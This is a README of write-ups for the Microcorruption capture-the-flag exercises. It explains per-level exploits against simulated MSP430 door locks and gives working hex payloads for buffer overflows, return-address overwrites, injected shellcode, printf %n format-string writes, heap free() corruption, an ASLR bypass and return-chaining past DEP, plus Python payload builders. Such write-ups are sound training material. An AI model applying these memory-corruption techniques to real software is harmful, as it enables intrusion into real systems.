microcorruption/README.md

# microcorruption

My solutions to the fantastic Microcorruption exercises.

## Tutorial

Code that compares the password to the expected length of 8 characters.

```
4484:  6e4f           mov.b @r15, r14
4486:  1f53           inc r15
4488:  1c53           inc r12
448a:  0e93           tst r14
448c:  fb23           jnz $-0x8 <check_password+0x0>
448e:  3c90 0900      cmp #0x9, r12
4492:  0224           jz $+0x6 <check_password+0x14>
```

Any eight characters input is valid, for example:

```
password
```

## New Orleans

Password is hardcoded and located at address 0x2400.

```
2400: 764f 7050 6e4b 5300 0000 0000 0000 0000   vOpPnKS.
```

Solution:

```
vOpPnKS
```

## Sydney

The password is hardcoded in the `check_password` routine:

```
448a <check_password>
448a:  bf90 4f78 0000 cmp #0x784f, 0x0(r15)
4490:  0d20           jnz $+0x1c <check_password+0x22>
4492:  bf90 3b77 0200 cmp #0x773b, 0x2(r15)
4498:  0920           jnz $+0x14 <check_password+0x22>
449a:  bf90 2b74 0400 cmp #0x742b, 0x4(r15)
44a0:  0520           jnz $+0xc <check_password+0x22>
44a2:  1e43           mov #0x1, r14
44a4:  bf90 5d2f 0600 cmp #0x2f5d, 0x6(r15)
44aa:  0124           jz $+0x4 <check_password+0x24>
```

Solution (hex, byte ordering is little endian):

```
4f783b772b745d2f
```

ASCII equivalent:

```
Ox;w+t]/
```

## Hanoi

The input password does not matter. Instead, there is a hardcoded comparison of
0xb with the value at 0x2410.

```
4552:  3f40 d344      mov #0x44d3 "Testing if password is valid.", r15
4556:  b012 de45      call #0x45de <puts>
455a:  f290 0b00 1024 cmp.b #0xb, &0x2410
4560:  0720           jnz $+0x10 <login+0x50>
4562:  3f40 f144      mov #0x44f1 "Access granted.", r15
4566:  b012 de45      call #0x45de <puts>
456a:  b012 4844      call #0x4448 <unlock_door>
```

The input password is stored at 0x2400, so we can input a long enough string
to set 0x2410 to 0xb. Solution in hex:

```
16 bytes from 0x2400 to 0x240f
                              \
bbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbb0b
                                --
             set 0x2410 to 0xb /
```

## Cusco

At the end of the `login` function the stackpointer points to 0x43fe. The input
password is allocated to 0x43ee. That means we can override the return address
at 0x43fe with the address of the `unlock_door` door function at 0x4446.

Solution in hex:

```
16 bytes from 0x43ee to 0x43fe
                              \
bbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbb4644
                                ----
                               /
                               set 0x43fe to 0x4644 (unlock_door)
```

## Reykjavik

This exercise is only tricky because the application decrypts the code into
0x2400 at runtime and then executes from there. The consequence is that no
disassembly view is available.

The easiest way to solve this is to run till the password prompt. Then single
step and the second instruction will look like this:

```
CPU Cycles: 22680
b490 455e dcff
cmp #0x5e45, -0x24(r4)
```

We can then guess that 455e (hex) (0x5e45 in little endian) is the solution:

```
455e
```

If we hadn't gotten that lucky, the next step would be to copy and disassembly
all the code starting at 0x2400. We will probably have to do something like
that in later exercises.

## Whitehorse

For this exercise we combine two techniques. First, we notice that the
vulnerability we first saw in Cusco where we can manipulate the return address
to any value is present. However, because HSM-2 is in use, there is no unlock
door function.

Second, we notice that the password input is stored at 0x36b8.

What that allows us to do is to inject code that unlocks the door, and then
jump to that exact code via the return address manipulation.

We write the code to unlock the door:

```
push #0x7f   // INT ID for unlock door
call #0x4532 // jump to INT
```

And [assemble](https://microcorruption.com/assembler) it to:

```
30127f00b0123245
```

Then we add a fill pattern and change the return address to 0x36b8, so that
the injected code gets executed. The result in hex looks like this:

```
code to unlock door                 / return to injected code
----------------                ----
30127f00b0123245eeeeeeeeeeeeeeeeb836
                ----------------
       fill up /
```


## Montevideo

This one is similar to Whitehorse, except a string copy function copies
the input password to a different location. That is an issue because our
previous code contains 0x00 (null character) which terminates the string.

To work around this, we have to get creative to avoid 0x00 in our code. For
example, the following works:

```
mov #0x1190, r15
sub #0x1111, r15
push r15 // 0x1190 - 0x1111 = 0x7f <=> ID for unlock door
call #0x454c // jump to INT
```

Because it results in the following assembly without 0x00:

```
3f4090113f8011110f12b0124c45
```

As before, we manipulate the return address to execute the injected code, and
get the solution (in hex):

```
code to unlock door                 / return to injected code
----------------------------    ----
3f4090113f8011110f12b0124c45ccccee43
                            ----
            two fill bytes /
```

## Johannesburg

This lock uses HSM-1 and we can directly manipulate the return address
to jump to the unlock door function. However, there is an additional check
that verifies that the 18th (0x11 offset) character of the input is 0x40:

```
4578:  f190 4000 1100 cmp.b #0x40, 0x11(sp)
```

Therefore, we have to make sure that this byte of our input is 0x40, and
then change the return address to 0x4446 (unlock door functio entry). The solution is
then (in hex):

```
fill bytes                              / override stack to return to unlock_door
----------------------------------  ----
aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa404644
                                  --
            pass check at 0x4578 /
```

## Santa Cruz

This is another exercise where we can manipulate the return address to point to
the unlock function. However, there are two checks that make our life harder.

Firstly, the value at 0x43b3 (0x08 intially) and 0x43b4 (0x10 initially) are used to
validate the minimum and maximum length of the user password.

Secondly, the byte at 0x43c6 must be zero, otherwise the program stops execution before
the return pointer manipulation becomes effection.

With that information, we can set the username to (in hex):

```
                                    / upper and lower password length bounds
                                ----
ccccccccccccccccccccccccccccccccff01cccccccccccccccccccccccccccccccccccccccccccccccc4a44
                                                                                    ----
                                                     return address to unlock_door /
```

And the password to:

```
                                  -- byte at 0x43c6 must be zero (via null byte of <getsn>)
2222222222222222222222222222222222
```

## Jakarta

This exercise is yet again vulnerable to a return address override. However,
it also executes a length check which prevents us from making the input long
enough to override the return address.

However, we can make the password long enough to overflow the length counter and therefore
circumvent the length check.

For example, the username could be the following (in hex):

```
6161616161616161616161616161616161616161616161616161616161616161
```

And then we use the following passowrd.

```
            / set return address to unlock_door
        ----
626262624c44626262626262626262626262626262626262626262626262626262626262
626262626262626262626262626262626262626262626262626262626262626262626262
626262626262626262626262626262626262626262626262626262626262626262626262
626262626262626262626262626262626262626262626262626262626262626262626262
626262626262626262626262626262626262626262626262626262626262626262626262
626262626262626262626262626262626262626262626262626262626262626262626262
62626262626262626262626262626262626262626262626262626262
-
 \ make rest of string long enough to overflow input length counter
```

## Addis Ababa

This is the first exercise that uses printf to print the password back to the
user. The printf-function provides a couple of conversion specifiers like `%s`,
`%x`, `%c` and `%n`.

In this exercise, the value at 0x3a60 must not be zero to unlock the door.

We can use a bug in printf that uses the printf string as the output address of
`%n` to set 0x3a60 to a non-zero value. If we use `%n` twice, the second `%n`
will then write `3` (number of characters to this point) into that address.

```
     address of unlock door
    /
----
603a256e61256e
    ----------
              \ %na%n

```

## Novosibirsk

This is the second exercise where we can exploit a printf vulnerability. The key insight we've
gained while playing with different inputs is that '%n' writes the number of characters written so
far to the address defined by the two initial characters. We can use this insight to replace the
HSM-2 interrupt `0x7e` with the door unlock interrupt `0x7f`.

To build the attack, the first to characters must point to `0x44c8` where
`0x7e` is located. Then, we must make the string exactly long enough so that
the final number of characters is `0x7f`. Finally, we add `%n` to trigger the
attack.

```
      address of HSM-2 interrupt ID
     /                      '%n'
    /                     /
----                 -----
c844 + '61' * 0x7d + 256e
       -----------
                  \ Make numbers
```

## Algiers

When looking at Algiers, we quickly realize that the `free` function is more
than wacky. Since there is no `printf` in this exercise, we suspect that the
vulnerability is in that function.

We find the locations of the first and second input, and quickly realize that
by making the first input long enough, we can manipulate the first free
function which operates on the addresses from `0x2424 - 6` onward.
Specifically, We can override the values `0824 3424 2100` via the first input.

```
2400: 0824 0010 0000 0000 0824 1e24 2100 aabb
                                         \____ location of first input

                                              we can override this with the first input
                                         ____/
2410: 0000 0000 0000 0000 0000 0000 0000 0824
                                         ----
                                             \ R15 points to this address in the first
                                               call to `free`

                we can overrid this too
               /
      ---- ----
2420: 3424 2100 ccdd 0000 0000 0000 0000 0000
                ----
                    \
                     location of the second input

2430: 0000 0000 1e24 0824 9c1f 0000 0000 0000

```

Therefore, an input to not change the behavior would look like this.

```
beefbeefbeefbeefbeefbeefbeefbeef_0824_3424_2100 // input 1
aabb // input 2 - doesn't matter
```

Now, an insight that we might have is that we jump over the code at `0x4524` as
long as bit zero at `0x2408` is not not zero. Unfortunately, by default it is
zero, but by changing R15 to `0x241e` we point it to the address where the code
in `free` sets bit zero of the value at that address to zero:

```
450a:  3f50 faff      add #0xfffa, r15
450e:  1d4f 0400      mov 0x4(r15), r13
4512:  3df0 feff      and #0xfffe, r13   // set bit zero of r13 to zero
4516:  8f4d 0400      mov r13, 0x4(r15)  // write value back to 00x241e + 4
```

So, with the following input, we land in the first branch:

```
beefbeefbeefbeefbeefbeefbeefbeef_1e24_3424_2100 // step 1 to solution
                                 ----
                                     \
                                      get into first branch by loading a value
                                      whose zero bit is zero
```

When taking the first branch, we realize that the following code allows us to
insert a value for `R15 + 2` that R14 is then written into. Here R15 is the
second word in our three words that we can manipulate.

```
452e:  9e4f 0200 0200 mov 0x2(r15), 0x2(r14)
4534:  1d4f 0200      mov 0x2(r15), r13
4538:  8d4e 0000      mov r14, 0x0(r13)
```

In other words, that gives us write access to an arbitrary location by changing
`3424` in our input accordingly.

The question is where to write to. The first thing that comes to mind is
manipulating the return pointer of the `login` function. However, when stepping
through the `free` function, we might notice that it's `ret` instruction is
directly followed by `unlock_door`.

```
4508 <free>
// code removed
4562:  3041           ret
4564 <unlock_door>
4564:  3012 7f00      push #0x7f
4568:  b012 b646      call #0x46b6 <INT>
456c:  2153           incd sp
456e:  3041           ret
```

Probably not a coinsidence. If we change `3424` to `6245` we can override the
return instruction fall through to `unlock_door`.

```
beefbeefbeefbeefbeefbeefbeefbeef_1e24_6245_2100 // step 2 to solution
```

When we run this code, whatever is in R14 will override the return instruction.
In this case, that whatever is `241e` which disassembles to `push @r4`. We got
lucky, it's a valid instruction. And with that it turns out that step 2 is our
final solution to solve Algiers.

```
beefbeefbeefbeefbeefbeefbeefbeef1e2462452100
```

## Vladivostok

This one is fun. We first use this command to disable the program code randomization:

```
#define init b 445a;reset;c;u 445a;let r10=3000;let r11=4400;b 4494;c;u 4494;let pc=44a0;c
```

Now, when typing `init`, the program initializes and we can debug properly.

We quickly realize that there is a return address vulerability that we can
exploit with this code:

```
                 offset      move 3 into r13
                /           /
----------------    --------
aaaaaaaaaaaaaaaafe423d400300b012ae46
                ----        -------- branch to code that does R13 += 0x7c
                    \                and then pushes R13 and INTs to unlock
                     \
                      jump to injected code

```

Unfortunately, this requires both the random stack and program address. After
playing around with the first input, we find that `%x%x` reliably prints the
`printf` function address but there is no way for a stack address.

We have to find a different location to exploit. After some digging, we find
that 0x48ec (aka `_int`) allows as to push a chosen value into R14. We can than
layer the return call injects to return to `0x4954` which pushes R14 as the
interrupt selection value and then calls `0x10`. That means, we can inject
`0x7f` into R14, allowing us to call the unlock interrupt.

With the static addresses, our attack then looks like this:

```
   `_int` addr             inject 0x7f (unlock door) into r14
              \           /
               ----     --
aaaaaaaaaaaaaaaaec4854497f00
                   ----
  `push r14` addr /
```

Now, the only issue is of course that this relies on the derandomized code
locations. We can write a quick Python script, to compute the correct string
for every `printf`-addr:

```python
PRINTF_ADDR = 0x476a # This is the address we can extract via '%n%n'
INT_ADDR = 0x48ec # This is the address where we can push a specific value to R14
PUSH_R14_ADDR = 0x4954 # This location triggers an interrupt with R14 as the INT selector

random_printf_addr = 0x1338 # get via '%x%x' username input
random_int_addr = random_printf_addr + (INT_ADDR - PRINTF_ADDR)
random_push_r14_addr = random_printf_addr + (PUSH_R14_ADDR - PRINTF_ADDR)

solution_string = "aaaaaaaaaaaaaaaa" # Initial offset
solution_string += reverse_byte_order(random_int_addr)
solution_string += reverse_byte_order(random_push_r14_addr)
solution_string += "7f00"
print(solution_string)
```

All that is left is finding out the address by using `%x%x` in the username
input field. We then put the address we get into the script, and reliably get
the solution string.


## Bangalore

This is the first exercise that incorporates Data Execution Prevention.
Fortunately, the program is simple and easy to comprehend.

We observe that interrupts are now chosen using the status register:

```
mov #0x9100, sr // trigger interrupt 0xef & 0x91 = 0x11
call #0x10
```

This implies that if we aim to inject shellcode to unlock the door, the
instructions would appear as follows:

```
mov #0xff00, sr // trigger interrupt 0xef & 0xff = 0xef -> unlock door
call #0x10
```

Or, in hex representation:

```
324000ffb0121000
```

We also observe that the application is evidently susceptible to code
injection, so we promptly devise an attack strategy.

```
                                 offset               shell code
                                /                    /
--------------------------------    -----------------
111122223333444455556666777788880040b324000ffb0121000
                                ----
                               /
                 return address
```

Unfortunately, when we jump to our injected code, we encounter a segmentation
fault because the page (0x40) is read-only. We must find a method to make the
page where the injected code resides executable.

We can jump to the subsequent instruction to push an arbitrary value (such as
0x40 for the page where our injected code is located) from the stack into r11:

```
4508:  3b41           pop r11
```

And follow that up with a jump to:

```
44f6:  0f4b           mov r11, r15
44f8:  b012 b444      call #0x44b4 <mark_page_executable>
44fc:  1b53           inc r11
44fe:  3b90 0001      cmp #0x100, r11
```

However, by doing that, we render the stack executable, and when iterating the
loop, we encounter another segmentation fault. To address this issue, we can
attempt to position the stack further up (or down visually) so that the
injected code lands in page 0x41 instead of 0x40. We can then make pages 0x41
and above executable, and our exploit should function without causing
additional segmentation faults.

We now have an attack plan, step 1: Repeat this process 15 times to push the
stack downward.

```
10451045104510451045104510451045104510451045104510451045104510451045104510453c44
```

All this does is repeatedly jumping to a return instruction (at 4510), and then
jump back to the `login` routine. After repeating this for 15 times, we have
moved into the `0x41` area.

Step 2: Inject code and jump back to beginning of program:

```
                 call #0x10          program entry point
        ________/               ____/
324000ffb0121000deaddeaddeaddead0044
--------        ----------------
        \                       \
         move 0xff, sr           padding
```

This string injects the shellcode and then jumps to the original program entry
point, which resets the SP to its initial location. With 15 repetitions of step
1, the injected code will be situated at `4138`.

Armed with this knowledge, we can complete our attack; step 3: Make page 0x41
executable and jump to the injected code:

```

                                 pad     page 41     return to injected code
                                /       /           /
--------------------------------    ----        ----
1111222233334444555566667777888808454100f64400003841
                                ----    ----
                                    \       \
                                     \       jump to `set_up_protection` at `mov r11, r15`
                                      \
                                       `pop r11`
```

This challenge proved to be tricky for me for two reasons. First, I attempted
to push the stack down so that I could make page `0x40` executable, without
influencing the stack. However, I was unable to find a method to accomplish
that and had to devise the approach of moving in the opposite direction.

Second, at the conclusion of the application, there is a `reti` instruction:

```
453e:  0013           reti pc
```

In addition to restoring the return address and loading it into the program
counter (PC) like a regular `ret`, this instruction also pops another value
from the stack to restore the status register (SR). This would be sufficient to
devise an attack by restoring `0xff00`, and then jumping to the call at `0x10` (the
interrupt address). However, it turns out that the `reti` instruction is not
correctly implemented by the simulator (it acts as a `nop`), and as a result,
this attack doesn't work.


## Lagos

In this exercise, the input characters are restricted to the alphanumeric
range. As a result, we can only inject bytes within the following specified
ranges:

```
0x30 - 0x39 ; 0-9
0x41 - 0x5a ; A-Z
0x61 - 0x7a ; a-z
```

This constraint narrows down the available instructions, but after some
experimentation, we can identify the following potentially useful instructions:

```python
FILL_BYTE = "30"
ADD_8_TO_R10 = "7a52"
ADD_1_TO_R10 = "5a53"
ADD_R10_TO_R14 = "4e5a"
JMP_6F_FORWARD = "7a34"
NOP = "4f5a" # ADD_R10_TO_R15 but since we do not need R15 it acts as a NOP
```

The application permits a return pointer injection, but upon closer examination
of the code, we find that we can directly override the code at the
`conditional_unlock_door` location. The memory layout is as follows:

```
43ed ; application copies input text to this address

4446 ; <conditional_unlock_door>

     ; part of INT procedure
4602:  0f4e           mov	r14, r15
4604:  8f10           swpb	r15
4606:  024f           mov	r15, sr
4608:  32d0 0080      bis	#0x8000, sr
460c:  b012 1000      call	#0x10
```

When we notice this, we can swiftly develop an attack strategy. First, we fill
up the section up to `conditional_unlock_door` with a filler byte. Next, our
objective is to load `0x7f` into r14 so that the INT procedure utilizes it to
unlock the door. Finally, we just need to advance the PC to the INT procedure
located at `4602`.

In Python, we can use the following code to create the shellcode:

```python
SHELL_CODE = FILL_BYTE * 89     # fill memory till conditional_unlock_door
SHELL_CODE += ADD_8_TO_R10 * 15
SHELL_CODE += ADD_1_TO_R10 * 7  # increment r10 to 0x7f
SHELL_CODE += ADD_R10_TO_R14    # set r14 to 0x7f (r14 is '0' initially)
SHELL_CODE += NOP * 76          # forward PC
SHELL_CODE += JMP_6F_FORWARD    # jump to 4602
print(SHELL_CODE)
```

We can either experiment with the number of NOP instructions until we reach the
correct location or directly calculate it. The empirical approach might be a
bit easier. By using this method, the resulting shellcode looks like this:

```
30303030303030303030303030303030303030303030303030303030303030303030303030303030303030303030303030303030303030303030303030303030303030303030303030303030303030303030303030303030307a527a527a527a527a527a527a527a527a527a527a527a527a527a527a525a535a535a535a535a535a535a534e5a4f5a4f5a4f5a4f5a4f5a4f5a4f5a4f5a4f5a4f5a4f5a4f5a4f5a4f5a4f5a4f5a4f5a4f5a4f5a4f5a4f5a4f5a4f5a4f5a4f5a4f5a4f5a4f5a4f5a4f5a4f5a4f5a4f5a4f5a4f5a4f5a4f5a4f5a4f5a4f5a4f5a4f5a4f5a4f5a4f5a4f5a4f5a4f5a4f5a4f5a4f5a4f5a4f5a4f5a4f5a4f5a4f5a4f5a4f5a4f5a4f5a4f5a4f5a4f5a4f5a4f5a4f5a4f5a4f5a4f5a4f5a4f5a4f5a4f5a4f5a4f5a7a34
```

And this solves the Lagos challenge as expected.

## Chernobyl

The solution and explanation for Chernobyl is located in `chernobyl/utils.py`.

Run `python chernobyl/utils.py` to get the shellcode.